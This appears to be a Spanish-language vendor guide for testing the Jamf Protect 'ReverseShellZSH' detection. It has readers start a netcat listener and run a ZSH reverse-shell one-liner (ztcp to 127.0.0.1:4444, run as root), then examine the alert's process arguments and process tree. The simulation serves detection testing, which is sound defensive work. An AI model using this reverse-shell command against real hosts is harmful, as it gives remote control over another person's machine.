Siga estos pasos para probar la analítica ReverseShellZSH.
Si usa una máquina virtual, haga una instantánea a la que volver después de terminar esta simulación.
- Abra Terminal y ejecute el siguiente comando.
# start a netcat listener on local host port 4444 nc -l 4444 - Abra otra ventana de Terminal y ejecute el siguiente comando.
# verify that port 4444 is up sudo lsof -i -P | grep "4444" - Desde la misma ventana de Terminal, ejecute los siguientes comandos para crear una shell inversa de ZSH para volver a conectar con el host local en el puerto 4444:
# Summon new shell sudo -s # Create reverse shell /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' & - En la ventana de netcat, ahora aparecerá una shell inversa, que le permitirá introducir comandos con el agente de escucha de netcat: whoami.Una vez completados los pasos de pruebas indicados, aparecerá una nueva alerta llamada ReverseShellZSH en Jamf Protect Cloud.
- Abra y resive la alerta ReverseShellZSH. Los puntos de datos más interesantes al analizar esta alerta son los siguientes:
Summary > Process Event Details > Process Arguments: Esto proporcionará el puerto y la dirección IP de destino para la conexión remota, así como el programa que se intentó ejecutar.
El árbol de procesos proporcionará una indicación sobre cómo se inició la sesión remota de la shell remota.
En una situación real, la investigación de esta alerta empezaría por examinar los argumentos del proceso para identificar el destino de la sesión remota y el programa que se intentaba ejecutar, así como identificar exactamente cómo se ejecutó el comando de la shell inversa a través del árbol del procesos.
- Si tomó una instantánea de la máquina virtual antes de completar este escenario de pruebas, el método de limpieza más sencillo consiste en revertir la instantánea. De lo contrario, ejecute estos comandos en Terminal para eliminar los archivos de pruebas creados.
# Close the netcat window by entering exit. exit